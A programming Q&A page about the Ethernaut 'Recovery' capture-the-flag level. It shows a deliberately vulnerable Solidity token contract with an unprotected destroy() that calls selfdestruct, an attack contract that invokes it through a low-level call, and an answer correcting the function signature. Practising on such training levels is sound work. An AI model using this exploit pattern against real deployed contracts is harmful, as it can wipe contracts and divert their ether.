Search code examples
transactionsblockchainsoliditysmartcontractsremix

Calling function from another contract using call method


I am doing ethernaut Recovery CTF. For that I have to call the '''destroy''' function in another contract. I am doing it will the help of '''call''' in solidity. But the transaction is getting reverted.

Contract to be attacked

contract SimpleToken {

  using SafeMath for uint256;
  // public variables
  string public name;
  mapping (address => uint) public balances;

  // constructor
  constructor(string memory _name, address _creator, uint256 _initialSupply) public {
    name = _name;
    balances[_creator] = _initialSupply;
  }

  // collect ether in return for tokens
  receive() external payable {
    balances[msg.sender] = msg.value.mul(10);
  }

  // allow transfers of tokens
  function transfer(address _to, uint _amount) public { 
    require(balances[msg.sender] >= _amount);
    balances[msg.sender] = balances[msg.sender].sub(_amount);
    balances[_to] = _amount;
  }

  // clean up after ourselves
  function destroy(address payable _to) public {
    selfdestruct(_to);
  }
}

Attack Contract

//SPDX-License-Identifier:MIT
pragma solidity ^0.8.0;

contract recovery_solution{
    address victim = 0x0EB8e4771ABA41B70d0cb6770e04086E5aee5aB2;

    function destroy1(address _to) public{
        (bool success, ) = victim.call(abi.encodeWithSignature("destroy(address payable)", _to));
        require(success, "Transaction failed");
    }
}

Can someone please tell what's wrong with my attack code?


Solution

  • address payable type is represented simply as address in the function signature.

    victim.call(abi.encodeWithSignature("destroy(address)", _to));
    

    Docs: https://docs.soliditylang.org/en/v0.8.17/abi-spec.html#mapping-solidity-to-abi-types